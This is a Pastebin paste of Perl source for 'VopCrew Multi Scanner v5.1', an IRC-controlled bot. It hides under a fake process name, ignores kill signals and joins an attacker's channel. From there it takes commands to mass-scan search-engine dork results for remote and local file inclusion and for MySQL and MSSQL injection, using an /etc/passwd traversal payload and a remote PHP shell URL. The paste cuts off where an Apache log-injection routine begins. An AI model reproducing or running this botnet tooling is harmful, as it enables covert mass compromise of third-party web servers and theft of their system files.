Advertisement
87aCk_X

hOme maDE

Sep 17th, 2013
627
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 56.18 KB | None | 0 0
  1. #!/usr/bin/perl
  2.  
  3. ############################################
  4. # VopCrew Multi Scanner v5.1               #
  5. ############################################
  6. # perl vopcrew.txt help me !!!             #
  7. ############################################
  8.  
  9. use HTTP::Request;
  10. use LWP::UserAgent;
  11. use IO::Socket;
  12. use IO::Select;
  13. use Socket;
  14.  
  15. my $fakeproc  = $ARGV[6];
  16. $ircserver    = $ARGV[0] unless $ircserver;
  17. my $ircport   = $ARGV[1];
  18. my $nickname  = $ARGV[2];
  19. my $ident     = $ARGV[3];
  20. my $channel   = '#'.$ARGV[4];
  21. my $runner    = $ARGV[5];
  22. my $fullname  = '15(7@2VopCrew-Multi-Scanner15)';
  23.  
  24. my $injector  = $ARGV[7];
  25. my $phpshell  = $ARGV[8];
  26. my $rficmd    = '!rfi';
  27. my $lficmd    = '!lfi';
  28. my $mysqlcmd  = '!mysql';
  29. my $mssqlcmd  = '!mssql';
  30. my $alicmd    = '!log';
  31.  
  32. $rfi_result   = "v0pCr3w";
  33. $lfi_test     = "../../../../../../../../../../../../../../../etc/passwd%00";
  34. $lfi_output   = "root:(.+):(.+):(.+):(.+):(.+):(.+)";
  35. $sql_test     = "'";
  36. $mysql_output = ("Query failed|Query Error|right syntax to use near");
  37. $mssql_output = ("SQL Server error|Incorrect syntax near|syntax error converting|unclosed quotation");
  38.  
  39. my $success   = "\n [+] VopCrew Multi Scanner\n [-] Loading Successfully ...\n [-] Process/PID : $fakeproc - $$\n";
  40. my $failed    = "\n [-] perl $0 <host> <port> <nick> <ident> <chan> <admin> <fakeproc> <response> <phpshell>\n\n";
  41.  
  42. if (@ARGV != 9) { print $failed; exit(); } else { print $success; }
  43.  
  44. $SIG{'INT'}   = 'IGNORE';
  45. $SIG{'HUP'}   = 'IGNORE';
  46. $SIG{'TERM'}  = 'IGNORE';
  47. $SIG{'CHLD'}  = 'IGNORE';
  48. $SIG{'PS'}    = 'IGNORE';
  49.  
  50. chdir("/");
  51. $ircserver="$ARGV[0]" if $ARGV[0];
  52. $0 = "$fakeproc"."\0"x16;;
  53. my $pid = fork;
  54. exit if $pid;
  55. die "\n [!] Something Wrong !!!: $!" unless defined($pid);
  56.  
  57. our %irc_servers;
  58. our %DCC;
  59. my $dcc_sel = new IO::Select->new();
  60. $sel_client = IO::Select->new();
  61.  
  62. sub sendraw {
  63.         if ($#_ == '1') {
  64.         my $socket = $_[0];
  65.         print $socket "$_[1]\n";
  66.         } else {
  67.                 print $IRC_cur_socket "$_[0]\n";
  68.         }
  69. }
  70.  
  71. sub connector {
  72.         my $mynick = $_[0];
  73.         my $ircserver_con = $_[1];
  74.         my $ircport_con = $_[2];
  75.         my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$ircserver_con", PeerPort=>$ircport_con) or return(1);
  76.         if (defined($IRC_socket)) {
  77.                 $IRC_cur_socket = $IRC_socket;
  78.                 $IRC_socket->autoflush(1);
  79.                 $sel_client->add($IRC_socket);
  80.                 $irc_servers{$IRC_cur_socket}{'host'} = "$ircserver_con";
  81.                 $irc_servers{$IRC_cur_socket}{'port'} = "$ircport_con";
  82.                 $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
  83.                 $irc_servers{$IRC_cur_socket}{'myip'} = $IRC_socket->sockhost;
  84.                 nick("$mynick");
  85.                 sendraw("USER $ident ".$IRC_socket->sockhost." $ircserver_con :$fullname");
  86.                 sleep 1;
  87.         }
  88. }
  89.  
  90. sub parse {
  91.         my $servarg = shift;
  92.         if ($servarg =~ /^PING \:(.*)/) {
  93.                 sendraw("PONG :$1");
  94.         } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
  95.                 my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5;
  96.                 if ($args =~ /^\001VERSION\001$/) {
  97.                         notice("$pn", "\001VERSION mIRC v6.17 Khaled Mardam-Bey\001");
  98.                 }
  99.                 if ($args =~ /^(\Q$mynick\E|\!a)\s+(.*)/ ) {
  100.                         my $natrix = $1;
  101.                         my $arg = $2;
  102.                 }
  103.         }
  104.         elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
  105.                 if (lc($1) eq lc($mynick)) {
  106.                         $mynick=$4;
  107.                         $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
  108.                 }
  109.         } elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
  110.                 nick("$mynick|".int rand(999));
  111.         } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
  112.                 $mynick = $2;
  113.                 $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
  114.                 $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
  115.                 sendraw("MODE $nickname +Bx");
  116.                 sendraw("JOIN $channel");
  117.                 sendraw("PRIVMSG $channel :VopCrew UnderGround");
  118.                 sendraw("PRIVMSG $runner :Hi $runner im here !!!");
  119.         }
  120. }
  121.  
  122. my $line_temp;
  123. while( 1 ) {
  124.         while (!(keys(%irc_servers))) { connector("$nickname", "$ircserver", "$ircport"); }
  125.         delete($irc_servers{''}) if (defined($irc_servers{''}));
  126.         my @ready = $sel_client->can_read(0);
  127.         next unless(@ready);
  128.         foreach $fh (@ready) {
  129.                 $IRC_cur_socket = $fh;
  130.                 $mynick = $irc_servers{$IRC_cur_socket}{'nick'};
  131.                 $nread = sysread($fh, $msg, 4096);
  132.                 if ($nread == 0) {
  133.                         $sel_client->remove($fh);
  134.                         $fh->close;
  135.                         delete($irc_servers{$fh});
  136.                 }
  137.                 @lines = split (/\n/, $msg);
  138.                 $msg =~ s/\r\n$//;
  139.  
  140.                 #####################################################################
  141.                 ############################[ CMD LIST ]#############################
  142.                 #####################################################################
  143.  
  144.                 if ($msg=~ /PRIVMSG $channel :!help/){
  145.                         sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2Help15) 8,4 $rficmd <bug> <dork> | $lficmd <bug> <dork> ");
  146.                         sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2Help15) 8,4 $mysqlcmd / $mssqlcmd <bug> <dork> ");
  147.                         sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2Help15) 8,4 Apache Log Injection : $alicmd <host> <port> ");
  148.                         sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2Help15) 8,4 !id | !engine | !pid | !version | !about ");
  149.                 }
  150.  
  151.                 if ($msg=~ /PRIVMSG $channel :!id/){
  152.                         &response();
  153.                 }
  154.  
  155.                 if ($msg=~ /PRIVMSG $channel :!version/){
  156.                         sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2Version15)12 VopCrew Multi Scanner v5.1");
  157.                 }
  158.  
  159.                 if ($msg=~ /PRIVMSG $channel :!engine/){
  160.                         sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2Engine15)12 Google, Bing, AllTheWeb, Altavista, ASK, UOL, LyCos, GoodSearch, Yahoo.");
  161.                 }
  162.  
  163.                 if ($msg=~ /PRIVMSG $channel :!pid/){
  164.                         sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2PID15)12 Process/ID : 4 $fakeproc - $$");
  165.                 }
  166.  
  167.                 if ($msg=~ /PRIVMSG $channel :!about/){
  168.                         sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2About15)3 VopCrew Multi Scanner v5.1");
  169.                         sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2About15)3 Coded by Vrs-hCk - http://c0li.blogspot.com/");
  170.                         sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2About15)3 Copyleft © 2009 VopCrew UnderGrounD");
  171.                 }
  172.  
  173.                 #####################################################################
  174.                 ###############################[ RFI ]###############################
  175.                 #####################################################################
  176.  
  177.                 ##################################################################### Google Engine
  178.                 if ($msg=~ /PRIVMSG $channel :$rficmd\s+(.*?)\s+(.*)/ ) {
  179.                         if (my $pid = fork) {
  180.                                 waitpid($pid, 0);
  181.                         }
  182.                         else {
  183.                                 if (fork) {     exit; } else {
  184.                                         my $engx = "GooGLe";
  185.                                         my $bugx = $1;
  186.                                         my $d0rk = $2;
  187.                                         sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2RFI15)(7@2VopCrew15)12 Dork :4 $d0rk");
  188.                                         sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2RFI15)(7@2VopCrew15)12 File :4 $bugx");
  189.                                         sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2RFI15)(7@2VopCrew15)7 Search Engine Loading ...");
  190.                                         &rfiscan($engx,$bugx,$d0rk);
  191.                                 }
  192.                                 exit;
  193.                         }
  194.                 }
  195.  
  196.                 ##################################################################### AllTheWeb Engine
  197.                 if ($msg=~ /PRIVMSG $channel :$rficmd\s+(.*?)\s+(.*)/ ) {
  198.                         if (my $pid = fork) {
  199.                                 waitpid($pid, 0);
  200.                         }
  201.                         else {
  202.                                 if (fork) {     exit; } else {
  203.                                         my $engx = "AllTheWeb";
  204.                                         my $bugx = $1;
  205.                                         my $d0rk = $2;
  206.                                         &rfiscan($engx,$bugx,$d0rk);
  207.                                 }
  208.                                 exit;
  209.                         }
  210.                 }
  211.  
  212.                 ##################################################################### Bing Engine
  213.                 if ($msg=~ /PRIVMSG $channel :$rficmd\s+(.*?)\s+(.*)/ ) {
  214.                         if (my $pid = fork) {
  215.                                 waitpid($pid, 0);
  216.                         }
  217.                         else {
  218.                                 if (fork) {     exit; } else {
  219.                                         my $engx = "Bing";
  220.                                         my $bugx = $1;
  221.                                         my $d0rk = $2;
  222.                                         &rfiscan($engx,$bugx,$d0rk);
  223.                                 }
  224.                                 exit;
  225.                         }
  226.                 }
  227.  
  228.                 ##################################################################### Altavista Engine
  229.                 if ($msg=~ /PRIVMSG $channel :$rficmd\s+(.*?)\s+(.*)/ ) {
  230.                         if (my $pid = fork) {
  231.                                 waitpid($pid, 0);
  232.                         }
  233.                         else {
  234.                                 if (fork) {     exit; } else {
  235.                                         my $engx = "ALtaViSTa";
  236.                                         my $bugx = $1;
  237.                                         my $d0rk = $2;
  238.                                         &rfiscan($engx,$bugx,$d0rk);
  239.                                 }
  240.                                 exit;
  241.                         }
  242.                 }
  243.  
  244.                 ##################################################################### ASK Engine
  245.                 if ($msg=~ /PRIVMSG $channel :$rficmd\s+(.*?)\s+(.*)/ ) {
  246.                         if (my $pid = fork) {
  247.                                 waitpid($pid, 0);
  248.                         }
  249.                         else {
  250.                                 if (fork) {     exit; } else {
  251.                                         my $engx = "AsK";
  252.                                         my $bugx = $1;
  253.                                         my $d0rk = $2;
  254.                                         &rfiscan($engx,$bugx,$d0rk);
  255.                                 }
  256.                                 exit;
  257.                         }
  258.                 }
  259.  
  260.                 ##################################################################### UoL Engine
  261.                 if ($msg=~ /PRIVMSG $channel :$rficmd\s+(.*?)\s+(.*)/ ) {
  262.                         if (my $pid = fork) {
  263.                                 waitpid($pid, 0);
  264.                         }
  265.                         else {
  266.                                 if (fork) {     exit; } else {
  267.                                         my $engx = "UoL";
  268.                                         my $bugx = $1;
  269.                                         my $d0rk = $2;
  270.                                         &rfiscan($engx,$bugx,$d0rk);
  271.                                 }
  272.                                 exit;
  273.                         }
  274.                 }
  275.  
  276.                 ##################################################################### LyCos Engine
  277.                 if ($msg=~ /PRIVMSG $channel :$rficmd\s+(.*?)\s+(.*)/ ) {
  278.                         if (my $pid = fork) {
  279.                                 waitpid($pid, 0);
  280.                         }
  281.                         else {
  282.                                 if (fork) {     exit; } else {
  283.                                         my $engx = "LyCos";
  284.                                         my $bugx = $1;
  285.                                         my $d0rk = $2;
  286.                                         &rfiscan($engx,$bugx,$d0rk);
  287.                                 }
  288.                                 exit;
  289.                         }
  290.                 }
  291.  
  292.                 ##################################################################### GoodSearch Engine
  293.                 if ($msg=~ /PRIVMSG $channel :$rficmd\s+(.*?)\s+(.*)/ ) {
  294.                         if (my $pid = fork) {
  295.                                 waitpid($pid, 0);
  296.                         }
  297.                         else {
  298.                                 if (fork) {     exit; } else {
  299.                                         my $engx = "GoodSearch";
  300.                                         my $bugx = $1;
  301.                                         my $d0rk = $2;
  302.                                         &rfiscan($engx,$bugx,$d0rk);
  303.                                 }
  304.                                 exit;
  305.                         }
  306.                 }
  307.  
  308.                 ##################################################################### Yahoo Engine
  309.                 if ($msg=~ /PRIVMSG $channel :$rficmd\s+(.*?)\s+(.*)/ ) {
  310.                         if (my $pid = fork) {
  311.                                 waitpid($pid, 0);
  312.                         }
  313.                         else {
  314.                                 if (fork) {     exit; } else {
  315.                                         my $engx = "YahOo";
  316.                                         my $bugx = $1;
  317.                                         my $d0rk = $2;
  318.                                         &rfiscan($engx,$bugx,$d0rk);
  319.                                 }
  320.                                 exit;
  321.                         }
  322.                 }
  323.  
  324.                 #####################################################################
  325.                 ###############################[ LFI ]###############################
  326.                 #####################################################################
  327.  
  328.                 ##################################################################### Google Engine
  329.                 if ($msg=~ /PRIVMSG $channel :$lficmd\s+(.*?)\s+(.*)/ ) {
  330.                         if (my $pid = fork) {
  331.                                 waitpid($pid, 0);
  332.                         }
  333.                         else {
  334.                                 if (fork) {     exit; } else {
  335.                                         my $engx = "GooGLe";
  336.                                         my $bugx = $1;
  337.                                         my $d0rk = $2;
  338.                                         sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2LFI15)(7@2VopCrew15)12 Dork :4 $d0rk");
  339.                                         sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2LFI15)(7@2VopCrew15)12 File :4 $bugx");
  340.                                         sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2LFI15)(7@2VopCrew15)7 Search Engine Loading ...");
  341.                                         &lfiscan($engx,$bugx,$d0rk);
  342.                                 }
  343.                                 exit;
  344.                         }
  345.                 }
  346.  
  347.                 ##################################################################### AllTheWeb Engine
  348.                 if ($msg=~ /PRIVMSG $channel :$lficmd\s+(.*?)\s+(.*)/ ) {
  349.                         if (my $pid = fork) {
  350.                                 waitpid($pid, 0);
  351.                         }
  352.                         else {
  353.                                 if (fork) {     exit; } else {
  354.                                         my $engx = "AllTheWeb";
  355.                                         my $bugx = $1;
  356.                                         my $d0rk = $2;
  357.                                         &lfiscan($engx,$bugx,$d0rk);
  358.                                 }
  359.                                 exit;
  360.                         }
  361.                 }
  362.  
  363.                 ##################################################################### Bing Engine
  364.                 if ($msg=~ /PRIVMSG $channel :$lficmd\s+(.*?)\s+(.*)/ ) {
  365.                         if (my $pid = fork) {
  366.                                 waitpid($pid, 0);
  367.                         }
  368.                         else {
  369.                                 if (fork) {     exit; } else {
  370.                                         my $engx = "Bing";
  371.                                         my $bugx = $1;
  372.                                         my $d0rk = $2;
  373.                                         &lfiscan($engx,$bugx,$d0rk);
  374.                                 }
  375.                                 exit;
  376.                         }
  377.                 }
  378.  
  379.                 ##################################################################### Altavista Engine
  380.                 if ($msg=~ /PRIVMSG $channel :$lficmd\s+(.*?)\s+(.*)/ ) {
  381.                         if (my $pid = fork) {
  382.                                 waitpid($pid, 0);
  383.                         }
  384.                         else {
  385.                                 if (fork) {     exit; } else {
  386.                                         my $engx = "ALtaViSTa";
  387.                                         my $bugx = $1;
  388.                                         my $d0rk = $2;
  389.                                         &lfiscan($engx,$bugx,$d0rk);
  390.                                 }
  391.                                 exit;
  392.                         }
  393.                 }
  394.  
  395.                 ##################################################################### ASK Engine
  396.                 if ($msg=~ /PRIVMSG $channel :$lficmd\s+(.*?)\s+(.*)/ ) {
  397.                         if (my $pid = fork) {
  398.                                 waitpid($pid, 0);
  399.                         }
  400.                         else {
  401.                                 if (fork) {     exit; } else {
  402.                                         my $engx = "AsK";
  403.                                         my $bugx = $1;
  404.                                         my $d0rk = $2;
  405.                                         &lfiscan($engx,$bugx,$d0rk);
  406.                                 }
  407.                                 exit;
  408.                         }
  409.                 }
  410.  
  411.                 ##################################################################### UoL Engine
  412.                 if ($msg=~ /PRIVMSG $channel :$lficmd\s+(.*?)\s+(.*)/ ) {
  413.                         if (my $pid = fork) {
  414.                                 waitpid($pid, 0);
  415.                         }
  416.                         else {
  417.                                 if (fork) {     exit; } else {
  418.                                         my $engx = "UoL";
  419.                                         my $bugx = $1;
  420.                                         my $d0rk = $2;
  421.                                         &lfiscan($engx,$bugx,$d0rk);
  422.                                 }
  423.                                 exit;
  424.                         }
  425.                 }
  426.  
  427.                 ##################################################################### LyCos Engine
  428.                 if ($msg=~ /PRIVMSG $channel :$lficmd\s+(.*?)\s+(.*)/ ) {
  429.                         if (my $pid = fork) {
  430.                                 waitpid($pid, 0);
  431.                         }
  432.                         else {
  433.                                 if (fork) {     exit; } else {
  434.                                         my $engx = "LyCos";
  435.                                         my $bugx = $1;
  436.                                         my $d0rk = $2;
  437.                                         &lfiscan($engx,$bugx,$d0rk);
  438.                                 }
  439.                                 exit;
  440.                         }
  441.                 }
  442.  
  443.                 ##################################################################### GoodSearch Engine
  444.                 if ($msg=~ /PRIVMSG $channel :$lficmd\s+(.*?)\s+(.*)/ ) {
  445.                         if (my $pid = fork) {
  446.                                 waitpid($pid, 0);
  447.                         }
  448.                         else {
  449.                                 if (fork) {     exit; } else {
  450.                                         my $engx = "GoodSearch";
  451.                                         my $bugx = $1;
  452.                                         my $d0rk = $2;
  453.                                         &lfiscan($engx,$bugx,$d0rk);
  454.                                 }
  455.                                 exit;
  456.                         }
  457.                 }
  458.  
  459.                 ##################################################################### Yahoo Engine
  460.                 if ($msg=~ /PRIVMSG $channel :$lficmd\s+(.*?)\s+(.*)/ ) {
  461.                         if (my $pid = fork) {
  462.                                 waitpid($pid, 0);
  463.                         }
  464.                         else {
  465.                                 if (fork) {     exit; } else {
  466.                                         my $engx = "YahOo";
  467.                                         my $bugx = $1;
  468.                                         my $d0rk = $2;
  469.                                         &lfiscan($engx,$bugx,$d0rk);
  470.                                 }
  471.                                 exit;
  472.                         }
  473.                 }
  474.  
  475.                 #####################################################################
  476.                 ##############################[ MySQL ]##############################
  477.                 #####################################################################
  478.  
  479.                 ##################################################################### Google Engine
  480.                 if ($msg=~ /PRIVMSG $channel :$mysqlcmd\s+(.*?)\s+(.*)/ ) {
  481.                         if (my $pid = fork) {
  482.                                 waitpid($pid, 0);
  483.                         }
  484.                         else {
  485.                                 if (fork) {     exit; } else {
  486.                                         my $engx = "GooGLe";
  487.                                         my $bugx = $1;
  488.                                         my $d0rk = $2;
  489.                                         sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2SQL15)(7@2VopCrew15)12 Dork :4 $d0rk");
  490.                                         sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2SQL15)(7@2VopCrew15)12 File :4 $bugx");
  491.                                         sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2SQL15)(7@2VopCrew15)7 Search Engine Loading ...");
  492.                                         &mysqlscan($engx,$bugx,$d0rk);
  493.                                 }
  494.                                 exit;
  495.                         }
  496.                 }
  497.  
  498.                 ##################################################################### AllTheWeb Engine
  499.                 if ($msg=~ /PRIVMSG $channel :$mysqlcmd\s+(.*?)\s+(.*)/ ) {
  500.                         if (my $pid = fork) {
  501.                                 waitpid($pid, 0);
  502.                         }
  503.                         else {
  504.                                 if (fork) {     exit; } else {
  505.                                         my $engx = "AllTheWeb";
  506.                                         my $bugx = $1;
  507.                                         my $d0rk = $2;
  508.                                         &mysqlscan($engx,$bugx,$d0rk);
  509.                                 }
  510.                                 exit;
  511.                         }
  512.                 }
  513.  
  514.                 ##################################################################### Bing Engine
  515.                 if ($msg=~ /PRIVMSG $channel :$mysqlcmd\s+(.*?)\s+(.*)/ ) {
  516.                         if (my $pid = fork) {
  517.                                 waitpid($pid, 0);
  518.                         }
  519.                         else {
  520.                                 if (fork) {     exit; } else {
  521.                                         my $engx = "Bing";
  522.                                         my $bugx = $1;
  523.                                         my $d0rk = $2;
  524.                                         &mysqlscan($engx,$bugx,$d0rk);
  525.                                 }
  526.                                 exit;
  527.                         }
  528.                 }
  529.  
  530.                 ##################################################################### Altavista Engine
  531.                 if ($msg=~ /PRIVMSG $channel :$mysqlcmd\s+(.*?)\s+(.*)/ ) {
  532.                         if (my $pid = fork) {
  533.                                 waitpid($pid, 0);
  534.                         }
  535.                         else {
  536.                                 if (fork) {     exit; } else {
  537.                                         my $engx = "ALtaViSTa";
  538.                                         my $bugx = $1;
  539.                                         my $d0rk = $2;
  540.                                         &mysqlscan($engx,$bugx,$d0rk);
  541.                                 }
  542.                                 exit;
  543.                         }
  544.                 }
  545.  
  546.                 ##################################################################### ASK Engine
  547.                 if ($msg=~ /PRIVMSG $channel :$mysqlcmd\s+(.*?)\s+(.*)/ ) {
  548.                         if (my $pid = fork) {
  549.                                 waitpid($pid, 0);
  550.                         }
  551.                         else {
  552.                                 if (fork) {     exit; } else {
  553.                                         my $engx = "AsK";
  554.                                         my $bugx = $1;
  555.                                         my $d0rk = $2;
  556.                                         &mysqlscan($engx,$bugx,$d0rk);
  557.                                 }
  558.                                 exit;
  559.                         }
  560.                 }
  561.  
  562.                 ##################################################################### UoL Engine
  563.                 if ($msg=~ /PRIVMSG $channel :$mysqlcmd\s+(.*?)\s+(.*)/ ) {
  564.                         if (my $pid = fork) {
  565.                                 waitpid($pid, 0);
  566.                         }
  567.                         else {
  568.                                 if (fork) {     exit; } else {
  569.                                         my $engx = "UoL";
  570.                                         my $bugx = $1;
  571.                                         my $d0rk = $2;
  572.                                         &mysqlscan($engx,$bugx,$d0rk);
  573.                                 }
  574.                                 exit;
  575.                         }
  576.                 }
  577.  
  578.                 ##################################################################### Lycos Engine
  579.                 if ($msg=~ /PRIVMSG $channel :$mysqlcmd\s+(.*?)\s+(.*)/ ) {
  580.                         if (my $pid = fork) {
  581.                                 waitpid($pid, 0);
  582.                         }
  583.                         else {
  584.                                 if (fork) {     exit; } else {
  585.                                         my $engx = "LyCos";
  586.                                         my $bugx = $1;
  587.                                         my $d0rk = $2;
  588.                                         &mysqlscan($engx,$bugx,$d0rk);
  589.                                 }
  590.                                 exit;
  591.                         }
  592.                 }
  593.  
  594.                 ##################################################################### GoodSearch Engine
  595.                 if ($msg=~ /PRIVMSG $channel :$mysqlcmd\s+(.*?)\s+(.*)/ ) {
  596.                         if (my $pid = fork) {
  597.                                 waitpid($pid, 0);
  598.                         }
  599.                         else {
  600.                                 if (fork) {     exit; } else {
  601.                                         my $engx = "GoodSearch";
  602.                                         my $bugx = $1;
  603.                                         my $d0rk = $2;
  604.                                         &mysqlscan($engx,$bugx,$d0rk);
  605.                                 }
  606.                                 exit;
  607.                         }
  608.                 }
  609.  
  610.                 ##################################################################### Yahoo Engine
  611.                 if ($msg=~ /PRIVMSG $channel :$mysqlcmd\s+(.*?)\s+(.*)/ ) {
  612.                         if (my $pid = fork) {
  613.                                 waitpid($pid, 0);
  614.                         }
  615.                         else {
  616.                                 if (fork) {     exit; } else {
  617.                                         my $engx = "YahOo";
  618.                                         my $bugx = $1;
  619.                                         my $d0rk = $2;
  620.                                         &mysqlscan($engx,$bugx,$d0rk);
  621.                                 }
  622.                                 exit;
  623.                         }
  624.                 }
  625.  
  626.                 #####################################################################
  627.                 ##############################[ MSSQL ]##############################
  628.                 #####################################################################
  629.  
  630.                 ##################################################################### Google Engine
  631.                 if ($msg=~ /PRIVMSG $channel :$mssqlcmd\s+(.*?)\s+(.*)/ ) {
  632.                         if (my $pid = fork) {
  633.                                 waitpid($pid, 0);
  634.                         }
  635.                         else {
  636.                                 if (fork) {     exit; } else {
  637.                                         my $engx = "GooGLe";
  638.                                         my $bugx = $1;
  639.                                         my $d0rk = $2;
  640.                                         sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2SQL15)(7@2VopCrew15)12 Dork :4 $d0rk");
  641.                                         sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2SQL15)(7@2VopCrew15)12 File :4 $bugx");
  642.                                         sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2SQL15)(7@2VopCrew15)7 Search Engine Loading ...");
  643.                                         &mssqlscan($engx,$bugx,$d0rk);
  644.                                 }
  645.                                 exit;
  646.                         }
  647.                 }
  648.  
  649.                 ##################################################################### AllTheWeb Engine
  650.                 if ($msg=~ /PRIVMSG $channel :$mssqlcmd\s+(.*?)\s+(.*)/ ) {
  651.                         if (my $pid = fork) {
  652.                                 waitpid($pid, 0);
  653.                         }
  654.                         else {
  655.                                 if (fork) {     exit; } else {
  656.                                         my $engx = "AllTheWeb";
  657.                                         my $bugx = $1;
  658.                                         my $d0rk = $2;
  659.                                         &mssqlscan($engx,$bugx,$d0rk);
  660.                                 }
  661.                                 exit;
  662.                         }
  663.                 }
  664.  
  665.                 ##################################################################### Bing Engine
  666.                 if ($msg=~ /PRIVMSG $channel :$mssqlcmd\s+(.*?)\s+(.*)/ ) {
  667.                         if (my $pid = fork) {
  668.                                 waitpid($pid, 0);
  669.                         }
  670.                         else {
  671.                                 if (fork) {     exit; } else {
  672.                                         my $engx = "Bing";
  673.                                         my $bugx = $1;
  674.                                         my $d0rk = $2;
  675.                                         &mssqlscan($engx,$bugx,$d0rk);
  676.                                 }
  677.                                 exit;
  678.                         }
  679.                 }
  680.  
  681.                 ##################################################################### Altavista Engine
  682.                 if ($msg=~ /PRIVMSG $channel :$mssqlcmd\s+(.*?)\s+(.*)/ ) {
  683.                         if (my $pid = fork) {
  684.                                 waitpid($pid, 0);
  685.                         }
  686.                         else {
  687.                                 if (fork) {     exit; } else {
  688.                                         my $engx = "ALtaViSTa";
  689.                                         my $bugx = $1;
  690.                                         my $d0rk = $2;
  691.                                         &mssqlscan($engx,$bugx,$d0rk);
  692.                                 }
  693.                                 exit;
  694.                         }
  695.                 }
  696.  
  697.                 ##################################################################### ASK Engine
  698.                 if ($msg=~ /PRIVMSG $channel :$mssqlcmd\s+(.*?)\s+(.*)/ ) {
  699.                         if (my $pid = fork) {
  700.                                 waitpid($pid, 0);
  701.                         }
  702.                         else {
  703.                                 if (fork) {     exit; } else {
  704.                                         my $engx = "AsK";
  705.                                         my $bugx = $1;
  706.                                         my $d0rk = $2;
  707.                                         &mssqlscan($engx,$bugx,$d0rk);
  708.                                 }
  709.                                 exit;
  710.                         }
  711.                 }
  712.  
  713.                 ##################################################################### UoL Engine
  714.                 if ($msg=~ /PRIVMSG $channel :$mssqlcmd\s+(.*?)\s+(.*)/ ) {
  715.                         if (my $pid = fork) {
  716.                                 waitpid($pid, 0);
  717.                         }
  718.                         else {
  719.                                 if (fork) {     exit; } else {
  720.                                         my $engx = "UoL";
  721.                                         my $bugx = $1;
  722.                                         my $d0rk = $2;
  723.                                         &mssqlscan($engx,$bugx,$d0rk);
  724.                                 }
  725.                                 exit;
  726.                         }
  727.                 }
  728.  
  729.                 ##################################################################### Lycos Engine
  730.                 if ($msg=~ /PRIVMSG $channel :$mssqlcmd\s+(.*?)\s+(.*)/ ) {
  731.                         if (my $pid = fork) {
  732.                                 waitpid($pid, 0);
  733.                         }
  734.                         else {
  735.                                 if (fork) {     exit; } else {
  736.                                         my $engx = "LyCos";
  737.                                         my $bugx = $1;
  738.                                         my $d0rk = $2;
  739.                                         &mssqlscan($engx,$bugx,$d0rk);
  740.                                 }
  741.                                 exit;
  742.                         }
  743.                 }
  744.  
  745.                 ##################################################################### GoodSearch Engine
  746.                 if ($msg=~ /PRIVMSG $channel :$mssqlcmd\s+(.*?)\s+(.*)/ ) {
  747.                         if (my $pid = fork) {
  748.                                 waitpid($pid, 0);
  749.                         }
  750.                         else {
  751.                                 if (fork) {     exit; } else {
  752.                                         my $engx = "GoodSearch";
  753.                                         my $bugx = $1;
  754.                                         my $d0rk = $2;
  755.                                         &mssqlscan($engx,$bugx,$d0rk);
  756.                                 }
  757.                                 exit;
  758.                         }
  759.                 }
  760.  
  761.                 ##################################################################### Yahoo Engine
  762.                 if ($msg=~ /PRIVMSG $channel :$mssqlcmd\s+(.*?)\s+(.*)/ ) {
  763.                         if (my $pid = fork) {
  764.                                 waitpid($pid, 0);
  765.                         }
  766.                         else {
  767.                                 if (fork) {     exit; } else {
  768.                                         my $engx = "YahOo";
  769.                                         my $bugx = $1;
  770.                                         my $d0rk = $2;
  771.                                         &mssqlscan($engx,$bugx,$d0rk);
  772.                                 }
  773.                                 exit;
  774.                         }
  775.                 }
  776.  
  777.                 #####################################################################
  778.                 ##################################################################### Apache Log Injection
  779.                 if ($msg=~ /PRIVMSG $channel :$alicmd\s+(.*?)\s+(.+[0-9])/ ) {
  780.                         if (my $pid = fork) {
  781.                                 waitpid($pid, 0);
  782.                         }
  783.                         else {
  784.                                 if (fork) {     exit; } else {
  785.                                         &injectlog($1,$2);
  786.                                 }
  787.                                 exit;
  788.                         }
  789.                 }
  790.  
  791.                 for(my $c=0; $c<= $#lines; $c++) {
  792.                         $line = $lines[$c];
  793.                         $line=$line_temp.$line if ($line_temp);
  794.                         $line_temp='';
  795.                         $line =~ s/\r$//;
  796.                         unless ($c == $#lines) {
  797.                                 parse("$line");
  798.                         } else {
  799.                                 if ($#lines == 0) {
  800.                                         parse("$line");
  801.                                 } elsif ($lines[$c] =~ /\r$/) {
  802.                                         parse("$line");
  803.                                 } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
  804.                                         parse("$line");
  805.                                 } else {
  806.                                         $line_temp = $line;
  807.                                 }
  808.                         }
  809.                 }
  810.         }
  811. }
  812.  
  813. ##################################################################### Procedure
  814.  
  815. sub injectlog() {
  816.         my $host = $_[0];
  817.         my $port = $_[1];
